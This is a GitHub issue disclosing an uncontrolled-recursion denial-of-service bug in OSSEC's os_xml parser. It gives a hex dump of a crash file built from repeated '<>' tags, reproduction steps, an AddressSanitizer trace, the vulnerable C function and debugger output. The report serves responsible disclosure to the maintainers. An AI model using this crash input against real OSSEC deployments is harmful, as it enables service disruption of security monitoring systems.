New issue   Jump to bottom

os_xml _ReadElem() - Uncontrolled recursion vulnerability leading to DoS (SIGSEGV) #1953

Open   **lockedbyte** opened this issue on Feb 23, 2021 · 3 comments

lockedbyte commented on Feb 23, 2021

os_xml _ReadElem() - Uncontrolled recursion vulnerability

INTRODUCTION

An Uncontrolled Recursion vulnerability has been identified in the `os_xml` XML parsing library used by OSSEC.

Through the `os_xml/examples/test.c` code, a flaw has been identified in `os_xml.c` that allows non-defined recursion cycles, thus finally trying to access non-mapped memory once the stack end has been reached.

The payload consists on a number of `<>` which will trigger the recursion and finally ending it with `<\n`.

REPRODUCE

To reproduce this vulnerability, compile the `examples/test.c` and open the payload file with it.

```
lockedbyte@pwn:~/research/OSSEC/os_xml$ ./test ./crash.xml
Segmentation fault (core dumped)
lockedbyte@pwn:~/research/OSSEC/os_xml$ xxd ./crash.xml
00000000: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000010: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000020: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000030: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000040: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000050: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000060: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000070: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000080: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000090: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
000000a0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
000000b0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
000000c0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
000000d0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
000000e0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
000000f0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000100: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000110: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000120: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000130: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000140: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000150: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000160: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000170: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000180: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000190: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
000001a0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
000001b0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
000001c0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
000001d0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
000001e0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
000001f0: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000200: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000210: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000220: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000230: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000240: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000250: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000260: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000270: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000280: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
00000290: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e  <><><><><><><><>
000002a0: 3c3e 3c3e 3c0a                           <><><.
lockedbyte@pwn:~/research/OSSEC/os_xml$
```

If we compile `examples/test.c` with ASAN (AddressSanatizer), this is the output we are given:

```
root@ubuntu:/software/os_xml# ./test_asan ./crash.xml
AddressSanitizer:DEADLYSIGNAL
=================================================================
==171980==ERROR: AddressSanitizer: stack-overflow on address 0x7fffff7fe0e8 (pc 0x555555557f61 bp 0x0ffffeea6e7b sp 0x7fffff7fe0e8 T0)
    #0 0x555555557f60 in _getattributes /software/os_xml/os_xml.c:417
    #1 0x55555555a77f in _ReadElem /software/os_xml/os_xml.c:242
    #2 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #3 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #4 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #5 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #6 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #7 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #8 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #9 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #10 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #11 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #12 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #13 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #14 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #15 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
```

```
#16 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#17 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#18 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#19 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#20 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#21 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#22 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#23 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#24 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#25 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#26 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#27 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#28 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#29 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#30 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#31 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#32 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#33 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#34 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#35 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#36 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#37 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#38 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#39 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#40 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#41 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#42 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#43 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#44 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#45 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#46 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#47 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#48 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#49 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#50 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#51 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#52 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#53 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#54 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#55 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#56 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#57 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#58 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#59 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#60 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#61 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#62 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#63 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#64 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#65 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#66 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#67 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#68 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#69 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#70 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#71 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#72 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#73 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#74 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#75 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#76 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#77 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#78 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#79 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#80 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#81 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#82 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#83 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#84 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#85 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#86 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#87 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#88 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#89 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#90 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#91 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#92 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#93 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#94 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#95 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#96 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#97 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#98 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#99 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#100 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#101 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#102 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#103 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#104 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#105 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#106 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#107 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#108 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#109 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#110 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#111 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#112 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#113 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#114 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#115 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#116 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#117 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#118 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#119 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#120 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#121 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#122 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#123 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#124 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#125 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#126 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#127 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#128 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
```

```
#129 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#130 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#131 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#132 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#133 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#134 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#135 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#136 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#137 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#138 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#139 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#140 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#141 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#142 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#143 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#144 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#145 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#146 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#147 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#148 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#149 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#150 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#151 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#152 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#153 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#154 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#155 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#156 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#157 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#158 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#159 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#160 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#161 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#162 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#163 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#164 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#165 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#166 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#167 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#168 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#169 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#170 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#171 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#172 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#173 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#174 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#175 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#176 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#177 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#178 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#179 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#180 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#181 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#182 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#183 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#184 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#185 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#186 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#187 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#188 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#189 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#190 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#191 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#192 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#193 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#194 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#195 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#196 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#197 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#198 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#199 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#200 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#201 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#202 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#203 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#204 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#205 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#206 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#207 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#208 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#209 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#210 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#211 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#212 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#213 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#214 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#215 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#216 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#217 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#218 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#219 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#220 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#221 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#222 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#223 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#224 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#225 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#226 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#227 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#228 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#229 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#230 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#231 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#232 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#233 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#234 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#235 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#236 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#237 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#238 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#239 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#240 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#241 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
```

```
    #242 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #243 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #244 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #245 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #246 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #247 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
    #248 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298

SUMMARY: AddressSanitizer: stack-overflow /software/os_xml/os_xml.c:417 in _getattributes
==171980==ABORTING
root@ubuntu:/software/os_xml#
```

As we can see an unlimited number of recursion calls can be performed, ending on a SIGSEGV (Segmentation fault).

Attention!: If a SIGSEGV is not triggered, try adding more `<>` in the payload. The segmentation fault error is because we reach the end of the stack, so it depends on the offset until the end of it, which may differ in your situation.

ANALYSIS

There exists a non limited recursion in the `_ReadElem()` function:

```
static int _ReadElem(FILE *fp, unsigned int parent, OS_XML *_lxml)
{
    int c;
    unsigned int count = 0;
    unsigned int _currentlycont = 0;
    short int location = -1;

    int prevv = 0;
    char elem[XML_MAXSIZE + 1];
    char cont[XML_MAXSIZE + 1];
    char closedelim[XML_MAXSIZE + 1];

    memset(elem, '\0', XML_MAXSIZE + 1);
    memset(cont, '\0', XML_MAXSIZE + 1);
    memset(closedelim, '\0', XML_MAXSIZE + 1);

    while ((c = _xml_fgetc(fp)) != EOF) {
        if (c == '\\') {
            prevv = c;
        } else if (prevv == '\\') {
            if (c != _R_CONFS) {
                prevv = 0;
            }
        }

        /* Max size */
        if (count >= XML_MAXSIZE) {
            xml_error(_lxml, "XMLERR: String overflow.");
            return (-1);
        }

        /* Check for comments */
        if (c == _R_CONFS) {
            int r = 0;
            if ((r = _oscomment(fp)) < 0) {
                xml_error(_lxml, "XMLERR: Comment not closed.");
                return (-1);
            } else if (r == 1) {
                continue;
            }
        }

        /* Real checking */
        if ((location == -1) && (prevv == 0)) {
            if (c == _R_CONFS) {
                if ((c = fgetc(fp)) == '/') {
                    xml_error(_lxml, "XMLERR: Element not opened.");
                    return (-1);
                } else {
                    ungetc(c, fp);
                }
                location = 0;
            } else {
                continue;
            }
        }

        else if ((location == 0) && ((c == _R_CONFE) || isspace(c))) {
            int _ge = 0;
            int _ga = 0;
            elem[count] = '\0';

            /* Remove the / at the end of the element name */
            if (count > 0 && elem[count - 1] == '/') {
                _ge = '/';
                elem[count - 1] = '\0';
            }

            if (_writememory(elem, XML_ELEM, count + 1, parent, _lxml) < 0) {
                return (-1);
            }
            _currentlycont = _lxml->cur - 1;
            if (isspace(c)) {
                if ((_ga = _getattributes(fp, parent, _lxml)) < 0) {
                    return (-1);
                }
            }

            /* If the element is closed already (finished in />) */
            if ((_ge == '/') || (_ga == '/')) {
                if (_writecontent("\0", 2, _currentlycont, _lxml) < 0) {
                    return (-1);
                }
                _lxml->ck[_currentlycont] = 1;
                _currentlycont = 0;
                count = 0;
                location = -1;
                memset(elem, '\0', XML_MAXSIZE);
                memset(closedelim, '\0', XML_MAXSIZE);
                memset(cont, '\0', XML_MAXSIZE);

                if (parent > 0) {
                    return (0);
                }
            } else {
                count = 0;
                location = 1;
            }
        }

        else if ((location == 2) && (c == _R_CONFE)) {
            closedelim[count] = '\0';
            if (strcmp(closedelim, elem) != 0) {
                xml_error(_lxml, "XMLERR: Element '%s' not closed.", elem);
                return (-1);
            }
            if (_writecontent(cont, strlen(cont) + 1, _currentlycont, _lxml) < 0) {
                return (-1);
            }
            _lxml->ck[_currentlycont] = 1;
            memset(elem, '\0', XML_MAXSIZE);
            memset(closedelim, '\0', XML_MAXSIZE);
            memset(cont, '\0', XML_MAXSIZE);
            _currentlycont = 0;
            count = 0;
            location = -1;
            if (parent > 0) {
                return (0);
            }
        } else if ((location == 1) && (c == _R_CONFS) && (prevv == 0)) {
            if ((c = fgetc(fp)) == '/') {
                cont[count] = '\0';
                count = 0;
                location = 2;
            } else {
                ungetc(c, fp);
                ungetc(_R_CONFS, fp);

                if (_ReadElem(fp, parent + 1, _lxml) < 0) {
                    return (-1);
                }
                count = 0;
            }
        } else {
            if (location == 0) {
                elem[count++] = (char) c;
            } else if (location == 1) {
                cont[count++] = (char) c;
            } else if (location == 2) {
                closedelim[count++] = (char) c;
            }

            if ((_R_CONFS == c) && (prevv != 0)) {
                prevv = 0;
            }
        }
    }
    if (location == -1) {
        return (LEOF);
    }

    xml_error(_lxml, "XMLERR: End of file and some elements were not closed.");
    return (-1);
}
```

If we debug it after specifying the crash file as argument:

```
Program received signal SIGSEGV, Segmentation fault.
0x0000555555557c93 in _getattributes ()

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────
registers ────
$rax   : 0x0000555555555d2a0  →  0x00000000fbad2488
$rbx   : 0x0000555555559920  →  <__libc_csu_init+0> endbr64
$rcx   : 0x152
$rdx   : 0x00007fffffffdc70  →  0x0000000000000153
$rsp   : 0x7ffff7fe280
$rbp   : 0x00007fffff801280  →  0x00007fffff807300  →  0x00007fffff80d380  →  0x00007fffff813400  →  0x00007fffff819480  →  0x00007fffff81f500  →  0x00007fffff825580  →
0x00007fffff82b600
$rsi   : 0x152
$rdi   : 0x0000555555555d2a0  →  0x00000000fbad2488
$rip   : 0x0000555555557c93  →  <_getattributes+23> or QWORD PTR [rsp], 0x0
$r8    : 0x0000555555599770  →  0x0000000100000001
$r9    : 0x0000555555599780  →  0x0000000100000001
$r10   : 0x000055555555d010  →  0x0006000600060006
$r11   : 0x7ffff7fd280
$r12   : 0x0000555555555320  →  <_start+0> endbr64
$r13   : 0x00007fffffffde30  →  0x0000000000000002
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────
